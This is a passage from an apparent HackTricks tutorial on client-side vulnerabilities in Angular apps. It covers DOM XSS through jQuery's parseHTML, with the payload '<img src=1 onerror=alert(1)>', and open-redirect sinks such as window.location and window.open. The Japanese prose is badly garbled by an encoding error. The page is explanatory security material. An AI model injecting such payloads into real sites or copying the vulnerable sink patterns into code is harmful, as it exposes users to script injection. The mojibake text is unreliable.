$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
ãªãŒãã³ãªãã€ã¬ã¯ã
DOMã€ã³ã¿ãŒãã§ãŒã¹
W3Cã®ããã¥ã¡ã³ãã«ãããšãwindow.locationããã³document.locationãªããžã§ã¯ãã¯ãçŸä»£ã®ãã©ãŠã¶ã§ã¯ãšã€ãªã¢ã¹ãšããŠæ±ãããŸãããã®ãããããã€ãã®ã¡ãœãããããããã£ã®å®è£
ã䌌ãŠãããããããªãŒãã³ãªãã€ã¬ã¯ããDOM XSSãåŒãèµ·ããå¯èœæ§ããããŸãã以äžã«ç€ºãããã«ãjavascript://ã¹ããŒãæ»æãå«ãŸããŸãã
window.location.hrefïŒããã³document.location.hrefïŒ
çŸåšã®DOMãã±ãŒã·ã§ã³ãªããžã§ã¯ããååŸããæšæºçãªæ¹æ³ã¯ãwindow.locationã䜿çšããããšã§ãããŸãããã©ãŠã¶ãæ°ããããŒãžã«ãªãã€ã¬ã¯ãããããã«ã䜿çšã§ããŸãããã®çµæããã®ãªããžã§ã¯ããå¶åŸ¡ããããšã§ããªãŒãã³ãªãã€ã¬ã¯ãã®è匱æ§ãæªçšã§ããŸãã
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
以äžã®ã·ããªãªã«å¯Ÿããæªçšããã»ã¹ã¯åãã§ãã
window.location.assign()ïŒããã³document.location.assign()ïŒ
ãã®ã¡ãœããã¯ãæå®ãããURLã®ããã¥ã¡ã³ããèªã¿èŸŒã¿ã衚瀺ããããã«ãŠã£ã³ããŠã䜿çšããŸãããã®ã¡ãœãããå¶åŸ¡ã§ããå ŽåããªãŒãã³ãªãã€ã¬ã¯ãæ»æã®ããã®ã·ã³ã¯ã«ãªãå¯èœæ§ããããŸãã
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()ïŒããã³document.location.replace()ïŒ
ãã®ã¡ãœããã¯ãçŸåšã®ãªãœãŒã¹ãæäŸãããURLã®ãã®ã«çœ®ãæããŸãã
assign()ã¡ãœãããšã®éãã¯ãwindow.location.replace()ã䜿çšããåŸãçŸåšã®ããŒãžãã»ãã·ã§ã³å±¥æŽã«ä¿åãããªãããšã§ãããããããã®ã¡ãœãããå¶åŸ¡ã§ããå ŽåããªãŒãã³ãªãã€ã¬ã¯ãã®è匱æ§ãæªçšããããšãå¯èœã§ãã
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
window.open()ã¡ãœããã¯ãURLãåãåãããããèå¥ãããªãœãŒã¹ãæ°ããã¿ããŸãã¯ãŠã£ã³ããŠã«èªã¿èŸŒã¿ãŸãããã®ã¡ãœãããå¶åŸ¡ããããšã¯ãXSSãŸãã¯ãªãŒãã³ãªãã€ã¬ã¯ãã®è匱æ§ãåŒãèµ·ããæ©äŒã«ããªããŸãã
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angularã¯ã©ã¹
- Angularã®ããã¥ã¡ã³ãã«ããã°ãAngularã®
Documentã¯DOMããã¥ã¡ã³ããšåãã§ãããAngularå ã®ã¯ã©ã€ã¢ã³ããµã€ãã®è匱æ§ãæªçšããããã«DOMããã¥ã¡ã³ãã®äžè¬çãªãã¯ã¿ãŒã䜿çšããããšãå¯èœã§ããDocument.locationããããã£ããã³ã¡ãœããã¯ã以äžã®äŸã«ç€ºãããã«ãæåãããªãŒãã³ãªãã€ã¬ã¯ãæ»æã®ã·ã³ã¯ã«ãªãå¯èœæ§ããããŸãïŒ
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- ç 究段éã§ã¯ããªãŒãã³ãªãã€ã¬ã¯ãã®è匱æ§ã«ã€ããŠAngularã®
Locationã¯ã©ã¹ãã¬ãã¥ãŒããŸããããæå¹ãªãã¯ã¿ãŒã¯èŠã€ãããŸããã§ãããLocationã¯ãã¢ããªã±ãŒã·ã§ã³ããã©ãŠã¶ã®çŸåšã®URLãšå¯Ÿè©±ããããã«äœ¿çšã§ããAngularãµãŒãã¹ã§ãããã®ãµãŒãã¹ã«ã¯ãäžããããURLãæäœããããã®ããã€ãã®ã¡ãœããããããŸã -go()ãreplaceState()ãããã³prepareExternalUrl()ããã ããå€éšãã¡ã€ã³ãžã®ãªãã€ã¬ã¯ãã«ã¯äœ¿çšã§ããŸãããäŸãã°ïŒ
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
çµæ: http://localhost:4200/http://google.com/about
- Angularã®
Routerã¯ã©ã¹ã¯äž»ã«åããã¡ã€ã³å ã®ããã²ãŒã·ã§ã³ã«äœ¿çšãããã¢ããªã±ãŒã·ã§ã³ã«è¿œå ã®è匱æ§ãããããããšã¯ãããŸããïŒ
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
çµæ: http://localhost:4200/https:
以äžã®ã¡ãœããããã¡ã€ã³ã®ç¯å²å ã§ããã²ãŒãããŸãïŒ
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
åèæç®
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


